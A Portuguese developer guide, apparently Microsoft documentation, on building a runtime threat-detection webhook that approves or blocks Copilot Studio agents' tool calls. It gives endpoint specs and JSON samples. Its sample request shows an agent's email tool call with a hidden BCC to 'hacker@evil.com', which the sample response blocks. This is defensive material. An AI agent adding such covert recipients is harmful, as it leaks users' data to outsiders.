Crie um sistema de deteção de ameaças em tempo de execução para agentes do Copilot Studio

As organizações podem adicionar uma camada de segurança aos seus agentes do Copilot Studio conectando-os a um sistema de deteção de ameaças em tempo de execução. Uma vez conectado, o agente chama esse sistema em tempo de execução. O agente fornece dados ao sistema para que o sistema possa determinar se uma ferramenta que o agente planeja invocar é legítima ou não. Em seguida, o sistema responde ao Copilot Studio com uma resposta de "aprovar" ou "bloquear", fazendo com que o agente invoque ou ignore a ferramenta de acordo. Para obter mais informações sobre como conectar agentes a um sistema de deteção de ameaças externo existente, consulte Habilitar deteção e proteção de ameaças externas para agentes personalizados do Copilot Studio.

Este artigo destina-se a desenvolvedores e descreve como integrar seus próprios recursos de deteção de ameaças como um provedor de segurança para agentes do Copilot Studio.

A integração é baseada em uma API que consiste em dois endpoints. O principal ponto de extremidade que você precisa implementar é o ponto de analyze-tool-execution extremidade. Você precisa expor esse ponto de extremidade como uma interface para seu sistema de deteção de ameaças. Depois que os clientes configuram seu sistema como seu sistema externo de deteção de ameaças, o agente chama essa API toda vez que pretende invocar uma ferramenta.

Além do ponto de extremidade, você também precisa expor um segundo ponto de analyze-tool-execution extremidade, chamado validate. O validate ponto de extremidade é usado para verificar a integridade e a prontidão do ponto de extremidade como parte da configuração do sistema.

As seções a seguir descrevem cada ponto de extremidade em detalhes.

POST/validar

Finalidade: Verifica se o ponto de extremidade de deteção de ameaças está acessível e funcionando. Usado para instalação inicial e testes de configuração.

Validar pedido

• Método: PUBLICAR

• Endereço URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

• Cabeçalhos:

  • Autorização: token de portador para autenticação de API

  • x-ms-correlation-id: GUID para rastreamento

• Corpo: Vazio

Validar resposta

Exemplo de resposta 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Exemplo de resposta de erro

Se ocorrer um erro (código HTTP malsucedido), o ponto de extremidade retornará um código de erro, uma mensagem e diagnósticos opcionais.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

Finalidade: Submete o contexto de execução da ferramenta para avaliação de risco. Avalia a solicitação de execução da ferramenta e responde se deve permitir ou bloquear a execução da ferramenta.

Solicitação de execução de ferramenta de análise

• Método: PUBLICAR

• Endereço URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• Cabeçalhos:

  • Autorização: token de portador para autenticação de API
  • Tipo de conteúdo: application/json

• Corpo: Objeto JSON

Exemplo de solicitação de execução de ferramenta de análise

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Resposta de execução da ferramenta de análise

200 OK

Quando a solicitação é válida, o uso da ferramenta especificado na solicitação é avaliado e permitido ou bloqueado, com base nos critérios definidos. A resposta pode incluir os seguintes campos:

• blockAction (Booleano): Se a ação deve ser bloqueada
• reasonCode (inteiro, opcional): Código numérico que explica o motivo do bloco
• razão (string, opcional): Explicação legível por humanos
• diagnóstico (objeto, opcional): Outros detalhes para rastreamento ou depuração

Exemplo permitir resposta

{
  "blockAction": false
}

Exemplo de resposta em bloco

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Exemplo de resposta de erro

Se a solicitação não for válida, uma resposta de erro será retornada com um código de erro, mensagem, status HTTP e diagnóstico opcional.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Referência das estruturas dos órgãos de pedido e resposta

As tabelas a seguir descrevem o conteúdo de vários objetos usados nos corpos de solicitação e resposta para os pontos de extremidade.

ValidationResponse

AnalyzeToolExecutionResponse

ErrorResponse

AvaliaçãoPedido

PlannerContext

ChatMensagem

ToolExecutionOutputs

ExecutionOutput

Definição de Ferramentas

Entrada de ferramentas

Saída de ferramentas

ConversationMetadata

AgentContext

Contexto do usuário

TriggerContext

Authentication

A integração desenvolvida deve usar a autenticação Microsoft Entra ID. Siga as instruções em Integrar aplicativos criados por seus desenvolvedores.

As etapas a serem executadas incluem o seguinte:

• Crie um registo de aplicação para o seu recurso no seu inquilino.
• Exponha um escopo para sua API da Web. O escopo exposto deve ser a URL base para o recurso que os clientes chamam. Por exemplo, se a URL da API for https://security.contoso.com/api/threatdetection, o escopo exposto deverá ser https://security.contoso.com.
• Dependendo de como você implementa seu serviço, você precisa implementar a lógica de autorização e validar os tokens de entrada. Você precisa documentar como o cliente deve autorizar seus aplicativos. Há várias maneiras de fazer isso, por exemplo, usando uma lista de permissões de IDs de aplicativo ou controle de acesso baseado em função (RBAC).

Requisitos de tempo de resposta

O agente espera uma resposta do sistema de deteção de ameaças em menos de 1.000 ms. Você deve garantir que seu endpoint responda à chamada dentro desse período. Se o seu sistema não responder a tempo, o agente se comportará como se sua resposta fosse "permitir", invocando a ferramenta.

Controle de versão da API

Em solicitações, a versão da API é especificada por meio de um api-version parâmetro de consulta (por exemplo, api-version=2025-05-01). Sua implementação deve ser tolerante a outros campos inesperados e não deve falhar se novos valores forem adicionados no futuro. Os parceiros não devem verificar a versão da API, pois todas as versões no momento são consideradas ininterruptas. Os parceiros devem acompanhar as versões da API, mas não falhar a solicitação ao ver uma nova versão.